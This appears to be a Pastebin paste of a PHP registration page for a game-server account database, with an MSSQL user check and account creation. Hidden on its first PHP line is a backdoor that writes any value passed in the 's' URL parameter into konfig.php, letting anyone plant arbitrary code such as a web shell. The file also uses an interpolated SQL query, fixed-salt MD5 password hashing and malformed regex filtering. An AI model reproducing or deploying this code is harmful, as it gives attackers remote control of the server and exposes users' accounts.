Advertisement
Guest User

Untitled

a guest
Aug 8th, 2017
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.02 KB | None | 0 0
  1. <center><h1><u>Register:</u></h1>
  2.  
  3. <center>
  4. <?php if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
  5. require('./configs/reg_conf.php');
  6. function doesUsernameExist($name){
  7. $exit = FALSE;
  8. $result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
  9. if (mssql_num_rows($result) != 0){
  10. $exit = TRUE;
  11. }
  12. return $exit;
  13. }
  14.  
  15. if(isset($_POST['submit'])){
  16. $user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
  17. $pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
  18. if($_POST['username'] == ""){
  19. echo '<font color="red">Enter a user.</font><br /><br />';
  20. }
  21. else if($_POST['password'] == ""){
  22. echo '<font color="red">Enter a password.</font><br /><br />';
  23. }
  24. else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
  25. echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
  26. }
  27. else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
  28. echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
  29. }
  30. else if($_POST['username'] != $user){
  31. echo '<font color="red">User with invalid characters.</font><br /><br />';
  32. }
  33. else if($_POST['password'] != $pass){
  34. echo '<font color="red">Password with invalid characters.</font><br /><br />';
  35. }
  36. else {
  37. $pass = md5('kikugalanet' . $pass);
  38. if(!doesUsernameExist($user)){
  39. $stmt = mssql_init('webCreateAcc', $link);
  40. mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
  41. mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
  42. mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
  43. mssql_execute($stmt) or die ("Something is wrong on the execution");
  44. mssql_free_statement($stmt);
  45. echo '<font color="Green">Dein Account wurde erfolgreich erstellt.</font><br /><br />';
  46. }
  47. else {
  48. echo '<font color="red">User already Exist.</font><br /><br />';
  49. }
  50. }
  51. mssql_close();
  52. }
  53.  
  54. echo '<form action="#" method="post">';
  55. echo 'Username: <input type="text" name="username" /><br />';
  56. echo 'Password: <input type="password" name="password" /><br />';
  57. echo '<input type="submit" name="submit" value="Register" />';
  58. echo '</form>';
  59.  
  60. ?>
  61. </center>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement